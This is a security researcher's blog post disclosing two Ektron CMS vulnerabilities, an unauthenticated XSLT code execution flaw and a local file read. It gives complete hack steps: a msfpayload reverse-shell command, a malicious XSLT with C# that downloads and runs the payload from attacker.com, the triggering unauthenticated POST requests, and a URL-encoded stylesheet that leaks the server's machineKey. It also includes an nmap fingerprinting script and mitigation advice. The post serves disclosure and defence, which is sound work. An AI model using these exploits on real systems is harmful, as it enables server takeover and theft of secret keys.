CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

October 25, 2012

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt Upload output.txt to http://attacker.com/output.txt Start a multistage metasploit listener from msfconsole on a reachable attacker box. use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST <listen_address> set LPORT 80 Upload the following code to http://attacker.com/xsl.xslt <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="C#" implements-prefix="user"> <![CDATA[ public string xml() { System.Net.WebClient client = new System.Net.WebClient(); client.DownloadFile(@"http://attacker.com/output.txt", @"C:\\windows\\TEMP\\test92.txt"); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt"; p.Start(); return "hai"; } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml()"/> </xsl:template> </xsl:stylesheet> Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1 Host: ektronsite User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://ektronsite xml=AAA&xslt=http://attacker.com/xsl.xslt &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

URL encode the following xsl <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <xsl:template match="/"> <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/> <xsl:value-of select="foo"/> </xsl:template> </xsl:stylesheet> Do the following POST. Note this is unauthenticated POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1 Host: ektronsite Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://ektronsite Content-Length: 1217 xml=%3Cp%3Eaaaaa%3C%2Fp%3E&xslt=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%27%31%2e%30%27%3f%3e %0a%3c%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%0a%20 %20%20%20%20%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72 %67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%0a%20%20%20%20%20%20%78%6d%6c%6e %73%3a%6d%73%78%73%6c%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63 %6f%6d%3a%78%73%6c%74%22%0a%20%20%20%20%20%20%78%6d%6c%6e%73%3a%75%73%65%72%3d%22%68%74%74%70%3a %2f%2f%6d%79%63%6f%6d%70%61%6e%79%2e%63%6f%6d%2f%6d%79%6e%61%6d%65%73%70%61%63%65%22%3e%0a%20%20 %3c%78%73%6c%3a%74%65%6d%70%6c%61%74%65%20%6d%61%74%63%68%3d%22%2f%22%3e%0a%20%20%20%20%3c%78%73 %6c%3a%76%61%6c%75%65%2d%6f%66%20%73%65%6c%65%63%74%3d%22%64%6f%63%75%6d%65%6e%74%28%27%65%3a%5c %45%4b%54%52%4f%4e%5c%77%65%62%2e%63%6f%6e%66%69%67%27%29%2f%2f%6d%61%63%68%69%6e%65%4b%65%79%2f %40%64%65%63%72%79%70%74%69%6f%6e%4b%65%79%22%2f%3e%0a%20%20%20%20%3c%78%73%6c%3a%76%61%6c%75%65 %2d%6f%66%20%73%65%6c%65%63%74%3d%22%66%6f%6f%22%2f%3e%0a%20%20%3c%2f%78%73%6c%3a%74%65%6d%70%6c %61%74%65%3e%0a%3c%2f%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%3e In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963

Detection

Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[ Attempts to check if ektron is running on one of a few paths ]] --- -- @output -- 80/tcp open http -- |_ http-login-form: HTTP login detected -- HTTP authentication information gathering script -- rev 1.0 (2011-02-06) author = "Rich Lundeen" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"webstersprodigy"} require("shortport") require("http") require("pcre") portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"}) parse_url = function(url) local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C") local s, e, t = re:exec(url, 0, 0) local proto = string.sub(url, t[1], t[2]) local host = string.sub(url, t[3], t[4]) local path = string.sub(url, t[4] + 1) local port = string.find(host, ":") if port ~= nil then --TODO check bounds, sanity, cast port to an int local thost = string.sub(host, 0, port-1) port = string.sub(host, port+1) host = thost else if proto == "http" then port = 80 elseif proto == "https" then port = 443 end end return host, port, path end --attempting to be compatible with nessus function in http.inc --in this case, host is a url - it should use get_http_page --get_http_page = function(port, host, redirect) --port and url are objects passed to the action function --redirect an integer to prohibit loops get_http_page_nmap = function(port, host, redirect, path) if path == nil then path = "/" end if redirect == nil then redirect = 2 end local answer = http.get(host, port, path) if ((answer.header.location ~= nil) and (redirect > 0) and (answer.status >=300) and (answer.status < 400)) then nhost, nport, npath = parse_url(answer.header.location) if (((nhost ~= host.targetname) and (nhost ~= host.ip) and (nhost ~= host.name)) or nport ~= port.number ) then --cannot redirect more, different service return answer, path else return get_http_page_nmap(port, host, redirect-1, npath) end end return answer, path end action = function(host, port) local ektronpaths = { "/cmslogin.aspx", "/login.aspx", "/WorkArea/" } for i,ektronpath in ipairs(ektronpaths) do local result, path = get_http_page_nmap(port, host, 3, ektronpath) local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE local loginre = { pcre.new("ektron" , loginflags, "C") } local loginform = false for i,v in ipairs(loginre) do local ismatch, j = v:match(result.body, 0) if ismatch then loginform = true break end end if loginform then return "Ektron instance likely at " .. path end end end

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.